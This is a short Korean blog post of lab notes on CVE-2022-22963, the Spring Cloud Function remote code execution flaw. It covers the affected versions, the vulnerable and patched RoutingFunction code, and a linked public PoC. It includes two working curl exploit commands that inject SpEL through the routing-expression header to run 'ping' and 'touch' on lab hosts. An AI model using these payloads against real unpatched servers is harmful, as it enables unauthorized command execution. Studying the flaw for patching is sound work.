Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

의미없는 블로그

[CVE-2022-22963] Spring Cloud Function RCE 본문

# 나/exploit CVE

[CVE-2022-22963] Spring Cloud Function RCE

SaltLee 2023. 2. 27. 19:04

#sudo service docker restart

#sudo docker start [container]

 

Spring Cloud Function에서 발생하는 원격코드실행 취약점 

스프링 사용해서 클라우드 환경에 빌드할때 쓰는 뭐 그런거라 함

 

cve-2022-22963 은 spring cloud 취약점, cve-2022-22965 가 spring shell 취약점

 

취약 버전은 3.1.6 ~ 3.2.2

대응 방안은 3.1.7 이상, 3.2.3 이상 버전으로 업데이트

 

얘도 adapters, context, core... 뭐 많은데

취약점 있는 포인트는 spring-cloud-function-context 인것 같다

https://github.com/spring-cloud/spring-cloud-function

 

버전 확인 방법은 pom.xml 에서 <artifactId>spring-cloud-function-parent</artifactId> 로 확인

https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-function-parent

 

PoC : https://github.com/darryk10/CVE-2022-22963

요청 헤더에 spring.cloud.function.routing-expression 변수가 있는데

여기에 조작된 SpEL(스프링 익스프레션 랭귀지) 입력해서 원격 명령어 실행

아하.. 이런식으로

 

취약한 소스코드는 spelParser 에 들어가는 routingExpression 이

getValue 에서 실행될 때 문제가 되나봄

(취약 소스 : https://github.com/spring-cloud/spring-cloud-function/blob/3.0.x/spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java)

고쳐진건 getValue 전에 isViaHeader 로 헤더 값 검사하는 로직 추가됐다

헤더 값에 RCE 명령어 들어가는거라서

(수정 소스 : https://github.com/spring-cloud/spring-cloud-function/blob/3.2.x/spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java)

 

점검 방법은 ping 날려보는거

$curl -i -s -k -X $'POST' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"ping -c5 172.17.0.1\")' -H $'Content-Type: application/x-www-form-urlencoded' $'http://172.17.0.2:8080/functionRouter'

 

파일 생성하는거

curl -i -s -k -X $’POST’ -H $’Host: 192.168.1.2:8080′ -H $’spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\”touch /tmp/test”)’ –data-binary $’exploit_poc’ $’http://192.168.1.2:8080/functionRouter’

 

참고

https://hagsig.tistory.com/103

https://koromoon.blogspot.com/2022/03/cve-2022-22963-spring4shell.html

Comments